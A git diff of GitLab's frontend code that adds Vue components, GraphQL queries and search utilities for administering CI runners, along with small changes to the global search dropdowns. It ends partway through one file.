diff --git a/app/assets/javascripts/runner/components/runner_type_alert.vue b/app/assets/javascripts/runner/components/runner_type_alert.vue
new file mode 100644
index 00000000000..72ce582e02c
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_type_alert.vue
@@ -0,0 +1,66 @@
+<script>
+import { GlAlert, GlLink } from '@gitlab/ui';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { s__ } from '~/locale';
+import { INSTANCE_TYPE, GROUP_TYPE, PROJECT_TYPE } from '../constants';
+
+const ALERT_DATA = {
+ [INSTANCE_TYPE]: {
+ title: s__(
+ 'Runners|This runner is available to all groups and projects in your GitLab instance.',
+ ),
+ message: s__(
+ 'Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner.',
+ ),
+ variant: 'success',
+ anchor: 'shared-runners',
+ },
+ [GROUP_TYPE]: {
+ title: s__('Runners|This runner is available to all projects and subgroups in a group.'),
+ message: s__(
+ 'Runners|Use Group runners when you want all projects in a group to have access to a set of runners.',
+ ),
+ variant: 'success',
+ anchor: 'group-runners',
+ },
+ [PROJECT_TYPE]: {
+ title: s__('Runners|This runner is associated with specific projects.'),
+ message: s__(
+ 'Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner.',
+ ),
+ variant: 'info',
+ anchor: 'specific-runners',
+ },
+};
+
+export default {
+ components: {
+ GlAlert,
+ GlLink,
+ },
+ props: {
+ type: {
+ type: String,
+ required: false,
+ default: null,
+ validator(type) {
+ return Boolean(ALERT_DATA[type]);
+ },
+ },
+ },
+ computed: {
+ alert() {
+ return ALERT_DATA[this.type];
+ },
+ helpHref() {
+ return helpPagePath('ci/runners/runners_scope', { anchor: this.alert.anchor });
+ },
+ },
+};
+</script>
+<template>
+ <gl-alert v-if="alert" :variant="alert.variant" :title="alert.title" :dismissible="false">
+ {{ alert.message }}
+ <gl-link :href="helpHref">{{ __('Learn more.') }}</gl-link>
+ </gl-alert>
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_type_badge.vue b/app/assets/javascripts/runner/components/runner_type_badge.vue
index dd4fff3a77a..c2f43daa899 100644
--- a/app/assets/javascripts/runner/components/runner_type_badge.vue
+++ b/app/assets/javascripts/runner/components/runner_type_badge.vue
@@ -3,7 +3,7 @@ import { GlBadge } from '@gitlab/ui';
import { s__ } from '~/locale';
import { INSTANCE_TYPE, GROUP_TYPE, PROJECT_TYPE } from '../constants';
-const badge = {
+const BADGE_DATA = {
[INSTANCE_TYPE]: {
variant: 'success',
text: s__('Runners|shared'),
@@ -25,21 +25,22 @@ export default {
props: {
type: {
type: String,
- required: true,
+ required: false,
+ default: null,
+ validator(type) {
+ return Boolean(BADGE_DATA[type]);
+ },
},
},
computed: {
- variant() {
- return badge[this.type]?.variant;
- },
- text() {
- return badge[this.type]?.text;
+ badge() {
+ return BADGE_DATA[this.type];
},
},
};
</script>
<template>
- <gl-badge v-if="text" :variant="variant" v-bind="$attrs">
- {{ text }}
+ <gl-badge v-if="badge" :variant="badge.variant" v-bind="$attrs">
+ {{ badge.text }}
</gl-badge>
</template>
diff --git a/app/assets/javascripts/runner/components/runner_type_help.vue b/app/assets/javascripts/runner/components/runner_type_help.vue
new file mode 100644
index 00000000000..927deb290a4
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_type_help.vue
@@ -0,0 +1,60 @@
+<script>
+import { GlBadge } from '@gitlab/ui';
+import { INSTANCE_TYPE, GROUP_TYPE, PROJECT_TYPE } from '../constants';
+import RunnerTypeBadge from './runner_type_badge.vue';
+
+export default {
+ components: {
+ GlBadge,
+ RunnerTypeBadge,
+ },
+ runnerTypes: {
+ INSTANCE_TYPE,
+ GROUP_TYPE,
+ PROJECT_TYPE,
+ },
+};
+</script>
+
+<template>
+ <div class="bs-callout">
+ <p>{{ __('Runners are processes that pick up and execute CI/CD jobs for GitLab.') }}</p>
+ <p>
+ {{
+ __(
+ 'You can register runners as separate users, on separate servers, and on your local machine. Register as many runners as you want.',
+ )
+ }}
+ </p>
+
+ <div>
+ <span> {{ __('Runners can be:') }}</span>
+ <ul>
+ <li>
+ <runner-type-badge :type="$options.runnerTypes.INSTANCE_TYPE" size="sm" />
+ - {{ __('Runs jobs from all unassigned projects.') }}
+ </li>
+ <li>
+ <runner-type-badge :type="$options.runnerTypes.GROUP_TYPE" size="sm" />
+ - {{ __('Runs jobs from all unassigned projects in its group.') }}
+ </li>
+ <li>
+ <runner-type-badge :type="$options.runnerTypes.PROJECT_TYPE" size="sm" />
+ - {{ __('Runs jobs from assigned projects.') }}
+ </li>
+ <li>
+ <gl-badge variant="warning" size="sm">
+ {{ __('locked') }}
+ </gl-badge>
+ - {{ __('Cannot be assigned to other projects.') }}
+ </li>
+ <li>
+ <gl-badge variant="danger" size="sm">
+ {{ __('paused') }}
+ </gl-badge>
+ - {{ __('Not available to run jobs.') }}
+ </li>
+ </ul>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_update_form.vue b/app/assets/javascripts/runner/components/runner_update_form.vue
new file mode 100644
index 00000000000..0c1b83b6830
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_update_form.vue
@@ -0,0 +1,227 @@
+<script>
+import {
+ GlButton,
+ GlForm,
+ GlFormCheckbox,
+ GlFormGroup,
+ GlFormInputGroup,
+ GlTooltipDirective,
+} from '@gitlab/ui';
+import createFlash, { FLASH_TYPES } from '~/flash';
+import { __ } from '~/locale';
+import { ACCESS_LEVEL_NOT_PROTECTED, ACCESS_LEVEL_REF_PROTECTED, PROJECT_TYPE } from '../constants';
+import runnerUpdateMutation from '../graphql/runner_update.mutation.graphql';
+
+const runnerToModel = (runner) => {
+ const {
+ id,
+ description,
+ maximumTimeout,
+ accessLevel,
+ active,
+ locked,
+ runUntagged,
+ tagList = [],
+ } = runner || {};
+
+ return {
+ id,
+ description,
+ maximumTimeout,
+ accessLevel,
+ active,
+ locked,
+ runUntagged,
+ tagList: tagList.join(', '),
+ };
+};
+
+export default {
+ components: {
+ GlButton,
+ GlForm,
+ GlFormCheckbox,
+ GlFormGroup,
+ GlFormInputGroup,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ runner: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ },
+ data() {
+ return {
+ saving: false,
+ model: runnerToModel(this.runner),
+ };
+ },
+ computed: {
+ canBeLockedToProject() {
+ return this.runner?.runnerType === PROJECT_TYPE;
+ },
+ readonlyIpAddress() {
+ return this.runner?.ipAddress;
+ },
+ updateMutationInput() {
+ const { maximumTimeout, tagList } = this.model;
+
+ return {
+ ...this.model,
+ maximumTimeout: maximumTimeout !== '' ? maximumTimeout : null,
+ tagList: tagList
+ .split(',')
+ .map((tag) => tag.trim())
+ .filter((tag) => Boolean(tag)),
+ };
+ },
+ },
+ watch: {
+ runner(newVal, oldVal) {
+ if (oldVal === null) {
+ this.model = runnerToModel(newVal);
+ }
+ },
+ },
+ methods: {
+ async onSubmit() {
+ this.saving = true;
+
+ try {
+ const {
+ data: {
+ runnerUpdate: { errors },
+ },
+ } = await this.$apollo.mutate({
+ mutation: runnerUpdateMutation,
+ variables: {
+ input: this.updateMutationInput,
+ },
+ });
+
+ if (errors?.length) {
+ this.onError(new Error(errors[0]));
+ return;
+ }
+
+ this.onSuccess();
+ } catch (e) {
+ this.onError(e);
+ } finally {
+ this.saving = false;
+ }
+ },
+ onError(error) {
+ const { message } = error;
+ createFlash({ message });
+ },
+ onSuccess() {
+ createFlash({ message: __('Changes saved.'), type: FLASH_TYPES.SUCCESS });
+ this.model = runnerToModel(this.runner);
+ },
+ },
+ ACCESS_LEVEL_NOT_PROTECTED,
+ ACCESS_LEVEL_REF_PROTECTED,
+};
+</script>
+<template>
+ <gl-form @submit.prevent="onSubmit">
+ <gl-form-checkbox
+ v-model="model.active"
+ data-testid="runner-field-paused"
+ :value="false"
+ :unchecked-value="true"
+ >
+ {{ __('Paused') }}
+ <template #help>
+ {{ __("Paused runners don't accept new jobs") }}
+ </template>
+ </gl-form-checkbox>
+
+ <gl-form-checkbox
+ v-model="model.accessLevel"
+ data-testid="runner-field-protected"
+ :value="$options.ACCESS_LEVEL_REF_PROTECTED"
+ :unchecked-value="$options.ACCESS_LEVEL_NOT_PROTECTED"
+ >
+ {{ __('Protected') }}
+ <template #help>
+ {{ __('This runner will only run on pipelines triggered on protected branches') }}
+ </template>
+ </gl-form-checkbox>
+
+ <gl-form-checkbox v-model="model.runUntagged" data-testid="runner-field-run-untagged">
+ {{ __('Run untagged jobs') }}
+ <template #help>
+ {{ __('Indicates whether this runner can pick jobs without tags') }}
+ </template>
+ </gl-form-checkbox>
+
+ <gl-form-checkbox
+ v-model="model.locked"
+ data-testid="runner-field-locked"
+ :disabled="!canBeLockedToProject"
+ >
+ {{ __('Lock to current projects') }}
+ <template #help>
+ {{ __('When a runner is locked, it cannot be assigned to other projects') }}
+ </template>
+ </gl-form-checkbox>
+
+ <gl-form-group :label="__('IP Address')" data-testid="runner-field-ip-address">
+ <gl-form-input-group :value="readonlyIpAddress" readonly select-on-click>
+ <template #append>
+ <gl-button
+ v-gl-tooltip.hover
+ :title="__('Copy IP Address')"
+ :aria-label="__('Copy IP Address')"
+ :data-clipboard-text="readonlyIpAddress"
+ icon="copy-to-clipboard"
+ class="d-inline-flex"
+ />
+ </template>
+ </gl-form-input-group>
+ </gl-form-group>
+
+ <gl-form-group :label="__('Description')" data-testid="runner-field-description">
+ <gl-form-input-group v-model="model.description" />
+ </gl-form-group>
+
+ <gl-form-group
+ data-testid="runner-field-max-timeout"
+ :label="__('Maximum job timeout')"
+ :description="
+ s__(
+ 'Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project.',
+ )
+ "
+ >
+ <gl-form-input-group v-model.number="model.maximumTimeout" type="number" />
+ </gl-form-group>
+
+ <gl-form-group
+ data-testid="runner-field-tags"
+ :label="__('Tags')"
+ :description="
+ __('You can set up jobs to only use runners with specific tags. Separate tags with commas.')
+ "
+ >
+ <gl-form-input-group v-model="model.tagList" />
+ </gl-form-group>
+
+ <div class="form-actions">
+ <gl-button
+ type="submit"
+ variant="confirm"
+ class="js-no-auto-disable"
+ :loading="saving || !runner"
+ >
+ {{ __('Save changes') }}
+ </gl-button>
+ </div>
+ </gl-form>
+</template>
diff --git a/app/assets/javascripts/runner/constants.js b/app/assets/javascripts/runner/constants.js
index de3a3fda47e..a57d18ba745 100644
--- a/app/assets/javascripts/runner/constants.js
+++ b/app/assets/javascripts/runner/constants.js
@@ -1,11 +1,47 @@
import { s__ } from '~/locale';
+export const RUNNER_PAGE_SIZE = 20;
+
export const I18N_DETAILS_TITLE = s__('Runners|Runner #%{runner_id}');
export const RUNNER_ENTITY_TYPE = 'Ci::Runner';
+// Filtered search parameter names
+// - Used for URL params names
+// - GlFilteredSearch tokens type
+
+export const PARAM_KEY_SEARCH = 'search';
+export const PARAM_KEY_STATUS = 'status';
+export const PARAM_KEY_RUNNER_TYPE = 'runner_type';
+export const PARAM_KEY_SORT = 'sort';
+export const PARAM_KEY_PAGE = 'page';
+export const PARAM_KEY_AFTER = 'after';
+export const PARAM_KEY_BEFORE = 'before';
+
// CiRunnerType
export const INSTANCE_TYPE = 'INSTANCE_TYPE';
export const GROUP_TYPE = 'GROUP_TYPE';
export const PROJECT_TYPE = 'PROJECT_TYPE';
+
+// CiRunnerStatus
+
+export const STATUS_ACTIVE = 'ACTIVE';
+export const STATUS_PAUSED = 'PAUSED';
+export const STATUS_ONLINE = 'ONLINE';
+export const STATUS_OFFLINE = 'OFFLINE';
+export const STATUS_NOT_CONNECTED = 'NOT_CONNECTED';
+
+// CiRunnerAccessLevel
+
+export const ACCESS_LEVEL_NOT_PROTECTED = 'NOT_PROTECTED';
+export const ACCESS_LEVEL_REF_PROTECTED = 'REF_PROTECTED';
+
+// CiRunnerSort
+
+export const CREATED_DESC = 'CREATED_DESC';
+export const CREATED_ASC = 'CREATED_ASC'; // TODO Add this to the API
+export const CONTACTED_DESC = 'CONTACTED_DESC'; // TODO Add this to the API
+export const CONTACTED_ASC = 'CONTACTED_ASC';
+
+export const DEFAULT_SORT = CREATED_DESC;
diff --git a/app/assets/javascripts/runner/graphql/delete_runner.mutation.graphql b/app/assets/javascripts/runner/graphql/delete_runner.mutation.graphql
new file mode 100644
index 00000000000..d580ea2785e
--- /dev/null
+++ b/app/assets/javascripts/runner/graphql/delete_runner.mutation.graphql
@@ -0,0 +1,5 @@
+mutation runnerDelete($input: RunnerDeleteInput!) {
+ runnerDelete(input: $input) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/runner/graphql/get_runner.query.graphql b/app/assets/javascripts/runner/graphql/get_runner.query.graphql
index d209313d4df..84e0d6cc95c 100644
--- a/app/assets/javascripts/runner/graphql/get_runner.query.graphql
+++ b/app/assets/javascripts/runner/graphql/get_runner.query.graphql
@@ -1,6 +1,7 @@
+#import "~/runner/graphql/runner_details.fragment.graphql"
+
query getRunner($id: CiRunnerID!) {
runner(id: $id) {
- id
- runnerType
+ ...RunnerDetails
}
}
diff --git a/app/assets/javascripts/runner/graphql/get_runners.query.graphql b/app/assets/javascripts/runner/graphql/get_runners.query.graphql
new file mode 100644
index 00000000000..45df9c625a6
--- /dev/null
+++ b/app/assets/javascripts/runner/graphql/get_runners.query.graphql
@@ -0,0 +1,31 @@
+#import "~/runner/graphql/runner_node.fragment.graphql"
+#import "~/graphql_shared/fragments/pageInfo.fragment.graphql"
+
+query getRunners(
+ $before: String
+ $after: String
+ $first: Int
+ $last: Int
+ $search: String
+ $status: CiRunnerStatus
+ $type: CiRunnerType
+ $sort: CiRunnerSort
+) {
+ runners(
+ before: $before
+ after: $after
+ first: $first
+ last: $last
+ search: $search
+ status: $status
+ type: $type
+ sort: $sort
+ ) {
+ nodes {
+ ...RunnerNode
+ }
+ pageInfo {
+ ...PageInfo
+ }
+ }
+}
diff --git a/app/assets/javascripts/runner/graphql/runner_details.fragment.graphql b/app/assets/javascripts/runner/graphql/runner_details.fragment.graphql
new file mode 100644
index 00000000000..6d7dc1e2798
--- /dev/null
+++ b/app/assets/javascripts/runner/graphql/runner_details.fragment.graphql
@@ -0,0 +1,12 @@
+fragment RunnerDetails on CiRunner {
+ id
+ runnerType
+ active
+ accessLevel
+ runUntagged
+ locked
+ ipAddress
+ description
+ maximumTimeout
+ tagList
+}
diff --git a/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql b/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql
new file mode 100644
index 00000000000..0835e3c7c09
--- /dev/null
+++ b/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql
@@ -0,0 +1,13 @@
+fragment RunnerNode on CiRunner {
+ id
+ description
+ runnerType
+ shortSha
+ version
+ revision
+ ipAddress
+ active
+ locked
+ tagList
+ contactedAt
+}
diff --git a/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql b/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql
new file mode 100644
index 00000000000..d50c1880d77
--- /dev/null
+++ b/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql
@@ -0,0 +1,10 @@
+#import "~/runner/graphql/runner_details.fragment.graphql"
+
+mutation runnerUpdate($input: RunnerUpdateInput!) {
+ runnerUpdate(input: $input) {
+ runner {
+ ...RunnerDetails
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/runner/runner_details/runner_details_app.vue b/app/assets/javascripts/runner/runner_details/runner_details_app.vue
index 4736e547cb9..5d5fa81b851 100644
--- a/app/assets/javascripts/runner/runner_details/runner_details_app.vue
+++ b/app/assets/javascripts/runner/runner_details/runner_details_app.vue
@@ -1,12 +1,16 @@
<script>
import { convertToGraphQLId } from '~/graphql_shared/utils';
+import RunnerTypeAlert from '../components/runner_type_alert.vue';
import RunnerTypeBadge from '../components/runner_type_badge.vue';
+import RunnerUpdateForm from '../components/runner_update_form.vue';
import { I18N_DETAILS_TITLE, RUNNER_ENTITY_TYPE } from '../constants';
import getRunnerQuery from '../graphql/get_runner.query.graphql';
export default {
components: {
+ RunnerTypeAlert,
RunnerTypeBadge,
+ RunnerUpdateForm,
},
i18n: {
I18N_DETAILS_TITLE,
@@ -19,7 +23,7 @@ export default {
},
data() {
return {
- runner: {},
+ runner: null,
};
},
apollo: {
@@ -35,9 +39,15 @@ export default {
};
</script>
<template>
- <h2 class="page-title">
- {{ sprintf($options.i18n.I18N_DETAILS_TITLE, { runner_id: runnerId }) }}
+ <div>
+ <h2 class="page-title">
+ {{ sprintf($options.i18n.I18N_DETAILS_TITLE, { runner_id: runnerId }) }}
- <runner-type-badge v-if="runner.runnerType" :type="runner.runnerType" />
- </h2>
+ <runner-type-badge v-if="runner" :type="runner.runnerType" />
+ </h2>
+
+ <runner-type-alert v-if="runner" :type="runner.runnerType" />
+
+ <runner-update-form :runner="runner" class="gl-my-5" />
+ </div>
</template>
diff --git a/app/assets/javascripts/runner/runner_list/index.js b/app/assets/javascripts/runner/runner_list/index.js
new file mode 100644
index 00000000000..5eba14a7948
--- /dev/null
+++ b/app/assets/javascripts/runner/runner_list/index.js
@@ -0,0 +1,42 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import RunnerDetailsApp from './runner_list_app.vue';
+
+Vue.use(VueApollo);
+
+export const initRunnerList = (selector = '#js-runner-list') => {
+ const el = document.querySelector(selector);
+
+ if (!el) {
+ return null;
+ }
+
+ // TODO `activeRunnersCount` should be implemented using a GraphQL API.
+ const { activeRunnersCount, registrationToken, runnerInstallHelpPage } = el.dataset;
+
+ const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(
+ {},
+ {
+ assumeImmutableResults: true,
+ },
+ ),
+ });
+
+ return new Vue({
+ el,
+ apolloProvider,
+ provide: {
+ runnerInstallHelpPage,
+ },
+ render(h) {
+ return h(RunnerDetailsApp, {
+ props: {
+ activeRunnersCount: parseInt(activeRunnersCount, 10),
+ registrationToken,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/runner/runner_list/runner_list_app.vue b/app/assets/javascripts/runner/runner_list/runner_list_app.vue
new file mode 100644
index 00000000000..b4eacb911a2
--- /dev/null
+++ b/app/assets/javascripts/runner/runner_list/runner_list_app.vue
@@ -0,0 +1,127 @@
+<script>
+import * as Sentry from '@sentry/browser';
+import { fetchPolicies } from '~/lib/graphql';
+import { updateHistory } from '~/lib/utils/url_utility';
+import RunnerFilteredSearchBar from '../components/runner_filtered_search_bar.vue';
+import RunnerList from '../components/runner_list.vue';
+import RunnerManualSetupHelp from '../components/runner_manual_setup_help.vue';
+import RunnerPagination from '../components/runner_pagination.vue';
+import RunnerTypeHelp from '../components/runner_type_help.vue';
+import getRunnersQuery from '../graphql/get_runners.query.graphql';
+import {
+ fromUrlQueryToSearch,
+ fromSearchToUrl,
+ fromSearchToVariables,
+} from './runner_search_utils';
+
+export default {
+ components: {
+ RunnerFilteredSearchBar,
+ RunnerList,
+ RunnerManualSetupHelp,
+ RunnerTypeHelp,
+ RunnerPagination,
+ },
+ props: {
+ activeRunnersCount: {
+ type: Number,
+ required: true,
+ },
+ registrationToken: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ search: fromUrlQueryToSearch(),
+ runners: {
+ items: [],
+ pageInfo: {},
+ },
+ };
+ },
+ apollo: {
+ runners: {
+ query: getRunnersQuery,
+ // Runners can be updated by users directly in this list.
+ // A "cache and network" policy prevents outdated filtered
+ // results.
+ fetchPolicy: fetchPolicies.CACHE_AND_NETWORK,
+ variables() {
+ return this.variables;
+ },
+ update(data) {
+ const { runners } = data;
+ return {
+ items: runners?.nodes || [],
+ pageInfo: runners?.pageInfo || {},
+ };
+ },
+ error(err) {
+ this.captureException(err);
+ },
+ },
+ },
+ computed: {
+ variables() {
+ return fromSearchToVariables(this.search);
+ },
+ runnersLoading() {
+ return this.$apollo.queries.runners.loading;
+ },
+ noRunnersFound() {
+ return !this.runnersLoading && !this.runners.items.length;
+ },
+ },
+ watch: {
+ search: {
+ deep: true,
+ handler() {
+ // TODO Implement back button reponse using onpopstate
+ updateHistory({
+ url: fromSearchToUrl(this.search),
+ title: document.title,
+ });
+ },
+ },
+ },
+ errorCaptured(err) {
+ this.captureException(err);
+ },
+ methods: {
+ captureException(err) {
+ Sentry.withScope((scope) => {
+ scope.setTag('component', 'runner_list_app');
+ Sentry.captureException(err);
+ });
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <div class="row">
+ <div class="col-sm-6">
+ <runner-type-help />
+ </div>
+ <div class="col-sm-6">
+ <runner-manual-setup-help :registration-token="registrationToken" />
+ </div>
+ </div>
+
+ <runner-filtered-search-bar v-model="search" namespace="admin_runners" />
+
+ <div v-if="noRunnersFound" class="gl-text-center gl-p-5">
+ {{ __('No runners found') }}
+ </div>
+ <template v-else>
+ <runner-list
+ :runners="runners.items"
+ :loading="runnersLoading"
+ :active-runners-count="activeRunnersCount"
+ />
+ <runner-pagination v-model="search.pagination" :page-info="runners.pageInfo" />
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/runner/runner_list/runner_search_utils.js b/app/assets/javascripts/runner/runner_list/runner_search_utils.js
new file mode 100644
index 00000000000..e45972b81db
--- /dev/null
+++ b/app/assets/javascripts/runner/runner_list/runner_search_utils.js
@@ -0,0 +1,109 @@
+import { queryToObject, setUrlParams } from '~/lib/utils/url_utility';
+import {
+ filterToQueryObject,
+ processFilters,
+ urlQueryToFilter,
+ prepareTokens,
+} from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
+import {
+ PARAM_KEY_SEARCH,
+ PARAM_KEY_STATUS,
+ PARAM_KEY_RUNNER_TYPE,
+ PARAM_KEY_SORT,
+ PARAM_KEY_PAGE,
+ PARAM_KEY_AFTER,
+ PARAM_KEY_BEFORE,
+ DEFAULT_SORT,
+ RUNNER_PAGE_SIZE,
+} from '../constants';
+
+const getPaginationFromParams = (params) => {
+ const page = parseInt(params[PARAM_KEY_PAGE], 10);
+ const after = params[PARAM_KEY_AFTER];
+ const before = params[PARAM_KEY_BEFORE];
+
+ if (page && (before || after)) {
+ return {
+ page,
+ before,
+ after,
+ };
+ }
+ return {
+ page: 1,
+ };
+};
+
+export const fromUrlQueryToSearch = (query = window.location.search) => {
+ const params = queryToObject(query, { gatherArrays: true });
+
+ return {
+ filters: prepareTokens(
+ urlQueryToFilter(query, {
+ filterNamesAllowList: [PARAM_KEY_STATUS, PARAM_KEY_RUNNER_TYPE],
+ filteredSearchTermKey: PARAM_KEY_SEARCH,
+ legacySpacesDecode: false,
+ }),
+ ),
+ sort: params[PARAM_KEY_SORT] || DEFAULT_SORT,
+ pagination: getPaginationFromParams(params),
+ };
+};
+
+export const fromSearchToUrl = (
+ { filters = [], sort = null, pagination = {} },
+ url = window.location.href,
+) => {
+ const filterParams = {
+ // Defaults
+ [PARAM_KEY_SEARCH]: null,
+ [PARAM_KEY_STATUS]: [],
+ [PARAM_KEY_RUNNER_TYPE]: [],
+ // Current filters
+ ...filterToQueryObject(processFilters(filters), {
+ filteredSearchTermKey: PARAM_KEY_SEARCH,
+ }),
+ };
+
+ const isDefaultSort = sort !== DEFAULT_SORT;
+ const isFirstPage = pagination?.page === 1;
+ const otherParams = {
+ // Sorting & Pagination
+ [PARAM_KEY_SORT]: isDefaultSort ? sort : null,
+ [PARAM_KEY_PAGE]: isFirstPage ? null : pagination.page,
+ [PARAM_KEY_BEFORE]: isFirstPage ? null : pagination.before,
+ [PARAM_KEY_AFTER]: isFirstPage ? null : pagination.after,
+ };
+
+ return setUrlParams({ ...filterParams, ...otherParams }, url, false, true, true);
+};
+
+export const fromSearchToVariables = ({ filters = [], sort = null, pagination = {} } = {}) => {
+ const variables = {};
+
+ const queryObj = filterToQueryObject(processFilters(filters), {
+ filteredSearchTermKey: PARAM_KEY_SEARCH,
+ });
+
+ variables.search = queryObj[PARAM_KEY_SEARCH];
+
+ // TODO Get more than one value when GraphQL API supports OR for "status"
+ [variables.status] = queryObj[PARAM_KEY_STATUS] || [];
+
+ // TODO Get more than one value when GraphQL API supports OR for "runner type"
+ [variables.type] = queryObj[PARAM_KEY_RUNNER_TYPE] || [];
+
+ if (sort) {
+ variables.sort = sort;
+ }
+
+ if (pagination.before) {
+ variables.before = pagination.before;
+ variables.last = RUNNER_PAGE_SIZE;
+ } else {
+ variables.after = pagination.after;
+ variables.first = RUNNER_PAGE_SIZE;
+ }
+
+ return variables;
+};
diff --git a/app/assets/javascripts/search/index.js b/app/assets/javascripts/search/index.js
index 10c41315972..d9d4056466a 100644
--- a/app/assets/javascripts/search/index.js
+++ b/app/assets/javascripts/search/index.js
@@ -8,10 +8,7 @@ import createStore from './store';
import { initTopbar } from './topbar';
export const initSearchApp = () => {
- // Similar to url_utility.decodeUrlParameter
- // Our query treats + as %20. This replaces the query + symbols with %20.
- const sanitizedSearch = window.location.search.replace(/\+/g, '%20');
- const query = queryToObject(sanitizedSearch);
+ const query = queryToObject(window.location.search);
const store = createStore({ query });
diff --git a/app/assets/javascripts/search/store/actions.js b/app/assets/javascripts/search/store/actions.js
index 0af679644f3..0c3f273fec7 100644
--- a/app/assets/javascripts/search/store/actions.js
+++ b/app/assets/javascripts/search/store/actions.js
@@ -29,6 +29,7 @@ export const fetchProjects = ({ commit, state }, search) => {
};
if (groupId) {
+ // TODO (https://gitlab.com/gitlab-org/gitlab/-/issues/323331): For errors `createFlash` is called twice; in `callback` and in `Api.groupProjects`
Api.groupProjects(groupId, search, {}, callback);
} else {
// The .catch() is due to the API method not handling a rejection properly
diff --git a/app/assets/javascripts/search/topbar/components/app.vue b/app/assets/javascripts/search/topbar/components/app.vue
index 2439ab55923..a490adbc11a 100644
--- a/app/assets/javascripts/search/topbar/components/app.vue
+++ b/app/assets/javascripts/search/topbar/components/app.vue
@@ -48,7 +48,7 @@ export default {
<template>
<gl-form class="search-page-form" @submit.prevent="applyQuery">
<section class="gl-lg-display-flex gl-align-items-flex-end">
- <div class="gl-flex-fill-1 gl-mb-4 gl-lg-mb-0 gl-lg-mr-2">
+ <div class="gl-flex-grow-1 gl-mb-4 gl-lg-mb-0 gl-lg-mr-2">
<label>{{ __('What are you searching for?') }}</label>
<gl-search-box-by-type
id="dashboard_search"
diff --git a/app/assets/javascripts/search/topbar/components/group_filter.vue b/app/assets/javascripts/search/topbar/components/group_filter.vue
index 2acab4e805d..da9252eeacd 100644
--- a/app/assets/javascripts/search/topbar/components/group_filter.vue
+++ b/app/assets/javascripts/search/topbar/components/group_filter.vue
@@ -39,8 +39,8 @@ export default {
<searchable-dropdown
data-testid="group-filter"
:header-text="$options.GROUP_DATA.headerText"
- :selected-display-value="$options.GROUP_DATA.selectedDisplayValue"
- :items-display-value="$options.GROUP_DATA.itemsDisplayValue"
+ :name="$options.GROUP_DATA.name"
+ :full-name="$options.GROUP_DATA.fullName"
:loading="fetchingGroups"
:selected-item="selectedGroup"
:items="groups"
diff --git a/app/assets/javascripts/search/topbar/components/project_filter.vue b/app/assets/javascripts/search/topbar/components/project_filter.vue
index b2dd79fcfa3..dbe8ba54216 100644
--- a/app/assets/javascripts/search/topbar/components/project_filter.vue
+++ b/app/assets/javascripts/search/topbar/components/project_filter.vue
@@ -42,8 +42,8 @@ export default {
<searchable-dropdown
data-testid="project-filter"
:header-text="$options.PROJECT_DATA.headerText"
- :selected-display-value="$options.PROJECT_DATA.selectedDisplayValue"
- :items-display-value="$options.PROJECT_DATA.itemsDisplayValue"
+ :name="$options.PROJECT_DATA.name"
+ :full-name="$options.PROJECT_DATA.fullName"
:loading="fetchingProjects"
:selected-item="selectedProject"
:items="projects"
diff --git a/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue b/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
index d16850cd889..2e2aa052dd8 100644
--- a/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
+++ b/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
@@ -11,6 +11,7 @@ import {
} from '@gitlab/ui';
import { __ } from '~/locale';
import { ANY_OPTION } from '../constants';
+import SearchableDropdownItem from './searchable_dropdown_item.vue';
export default {
i18n: {
@@ -25,6 +26,7 @@ export default {
GlIcon,
GlButton,
GlSkeletonLoader,
+ SearchableDropdownItem,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -35,12 +37,12 @@ export default {
required: false,
default: "__('Filter')",
},
- selectedDisplayValue: {
+ name: {
type: String,
required: false,
default: 'name',
},
- itemsDisplayValue: {
+ fullName: {
type: String,
required: false,
default: 'name',
@@ -75,6 +77,9 @@ export default {
resetDropdown() {
this.$emit('change', ANY_OPTION);
},
+ updateDropdown(item) {
+ this.$emit('change', item);
+ },
},
ANY_OPTION,
};
@@ -83,15 +88,16 @@ export default {
<template>
<gl-dropdown
class="gl-w-full"
- menu-class="gl-w-full!"
+ menu-class="global-search-dropdown-menu"
toggle-class="gl-text-truncate"
:header-text="headerText"
- @show="$emit('search', searchText)"
+ :right="true"
+ @show="openDropdown"
@shown="$refs.searchBox.focusInput()"
>
<template #button-content>
<span class="dropdown-toggle-text gl-flex-grow-1 gl-text-truncate">
- {{ selectedItem[selectedDisplayValue] }}
+ {{ selectedItem[name] }}
</span>
<gl-loading-icon v-if="loading" inline class="gl-mr-3" />
<gl-button
@@ -115,27 +121,29 @@ export default {
v-model="searchText"
class="gl-m-3"
:debounce="500"
- @input="$emit('search', searchText)"
+ @input="openDropdown"
/>
<gl-dropdown-item
class="gl-border-b-solid gl-border-b-gray-100 gl-border-b-1 gl-pb-2! gl-mb-2"
:is-check-item="true"
:is-checked="isSelected($options.ANY_OPTION)"
- @click="resetDropdown"
